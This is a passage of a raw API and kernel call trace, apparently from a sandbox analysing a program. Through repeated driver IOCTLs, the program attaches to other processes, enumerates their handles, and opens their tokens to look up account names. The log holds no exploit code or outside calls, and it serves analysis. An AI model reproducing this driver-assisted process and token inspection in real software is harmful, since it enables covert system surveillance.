[0106.025] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0106.025] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.025] ObfDereferenceObject (Object=0xfffffa8002128070) returned 0x1 [0106.025] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.025] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.025] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0106.025] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.025] PsAcquireProcessExitSynchronization () returned 0x0 [0106.025] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff88004f095d0) [0106.025] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001ff4f20, HandleInformation=0x0) returned 0x0 [0106.025] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.025] PsReleaseProcessExitSynchronization () returned 0x2 [0106.025] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0106.025] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.025] ObfDereferenceObject (Object=0xfffffa8001ff4f20) returned 0x1 [0106.025] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.025] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.025] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.026] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.026] PsAcquireProcessExitSynchronization () returned 0x0 [0106.026] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff88004f095d0) [0106.026] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.026] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.026] PsReleaseProcessExitSynchronization () returned 0x2 [0106.026] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0106.026] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.026] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0106.026] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.026] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.026] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa60) returned 0xc0 [0106.026] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.026] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002001330, HandleInformation=0x0) returned 0x0 [0106.026] ObOpenObjectByPointer (in: Object=0xfffffa8002001330, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.026] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x12 [0106.026] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa80021b7380 | out: TokenHandle=0xfffffa80021b7380*=0xc8) returned 0x0 [0106.026] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.026] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.026] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.026] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.028] CloseHandle (hObject=0xc8) returned 1 [0106.028] CloseHandle (hObject=0xc0) returned 1 [0106.028] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.028] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.028] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.028] PsAcquireProcessExitSynchronization () returned 0x0 [0106.028] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff88004f095d0) [0106.028] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002001bd0, HandleInformation=0x0) returned 0x0 [0106.028] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.028] PsReleaseProcessExitSynchronization () returned 0x2 [0106.028] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0106.028] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.028] ObfDereferenceObject (Object=0xfffffa8002001bd0) returned 0x1 [0106.028] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.028] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.028] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.028] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0106.028] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.028] PsAcquireProcessExitSynchronization () returned 0x0 [0106.028] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff88004f095d0) [0106.028] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020b71b0, HandleInformation=0x0) returned 0x0 [0106.028] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.028] PsReleaseProcessExitSynchronization () returned 0x2 [0106.028] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0106.028] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.028] ObfDereferenceObject (Object=0xfffffa80020b71b0) returned 0x1 [0106.028] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.028] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.028] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.028] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.029] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.029] PsAcquireProcessExitSynchronization () returned 0x0 [0106.029] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff88004f095d0) [0106.029] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.029] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.029] PsReleaseProcessExitSynchronization () returned 0x2 [0106.029] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0106.029] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.029] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0106.029] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.029] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.029] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa70) returned 0xc0 [0106.029] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.029] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020c2b30, HandleInformation=0x0) returned 0x0 [0106.029] ObOpenObjectByPointer (in: Object=0xfffffa80020c2b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.029] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x12 [0106.029] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa80021b7380 | out: TokenHandle=0xfffffa80021b7380*=0xc8) returned 0x0 [0106.029] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.029] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.029] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.029] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.031] CloseHandle (hObject=0xc8) returned 1 [0106.031] CloseHandle (hObject=0xc0) returned 1 [0106.031] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.031] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.031] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.031] PsAcquireProcessExitSynchronization () returned 0x0 [0106.031] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff88004f095d0) [0106.031] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002069b00, HandleInformation=0x0) returned 0x0 [0106.031] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.031] PsReleaseProcessExitSynchronization () returned 0x2 [0106.031] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0106.031] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.031] ObfDereferenceObject (Object=0xfffffa8002069b00) returned 0x1 [0106.031] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.031] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.031] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.031] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0106.031] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.031] PsAcquireProcessExitSynchronization () returned 0x0 [0106.031] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff88004f095d0) [0106.031] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800207a800, HandleInformation=0x0) returned 0x0 [0106.031] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.031] PsReleaseProcessExitSynchronization () returned 0x2 [0106.032] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0106.032] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.032] ObfDereferenceObject (Object=0xfffffa800207a800) returned 0x1 [0106.032] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.032] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.032] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.032] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.032] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.032] PsAcquireProcessExitSynchronization () returned 0x0 [0106.032] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff88004f095d0) [0106.032] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.032] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.032] PsReleaseProcessExitSynchronization () returned 0x2 [0106.032] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0106.032] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.032] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0106.032] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.032] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.032] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa80) returned 0xc0 [0106.032] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.032] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020a64e0, HandleInformation=0x0) returned 0x0 [0106.032] ObOpenObjectByPointer (in: Object=0xfffffa80020a64e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.032] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x12 [0106.032] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa80021b7380 | out: TokenHandle=0xfffffa80021b7380*=0xc8) returned 0x0 [0106.032] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.032] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.032] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.032] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.034] CloseHandle (hObject=0xc8) returned 1 [0106.034] CloseHandle (hObject=0xc0) returned 1 [0106.034] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.034] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.034] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.034] PsAcquireProcessExitSynchronization () returned 0x0 [0106.034] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff88004f095d0) [0106.034] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020a6e10, HandleInformation=0x0) returned 0x0 [0106.034] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.034] PsReleaseProcessExitSynchronization () returned 0x2 [0106.034] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0106.034] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.034] ObfDereferenceObject (Object=0xfffffa80020a6e10) returned 0x1 [0106.035] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.035] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.035] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.035] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0106.035] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.035] PsAcquireProcessExitSynchronization () returned 0x0 [0106.035] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff88004f095d0) [0106.035] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020b2f20, HandleInformation=0x0) returned 0x0 [0106.035] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.035] PsReleaseProcessExitSynchronization () returned 0x2 [0106.035] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0106.035] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.035] ObfDereferenceObject (Object=0xfffffa80020b2f20) returned 0x1 [0106.035] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.035] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.035] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.035] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.035] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.035] PsAcquireProcessExitSynchronization () returned 0x0 [0106.035] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff88004f095d0) [0106.035] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.035] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.035] PsReleaseProcessExitSynchronization () returned 0x2 [0106.035] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0106.035] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.035] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0106.035] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.035] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.035] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa90) returned 0xc0 [0106.035] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, 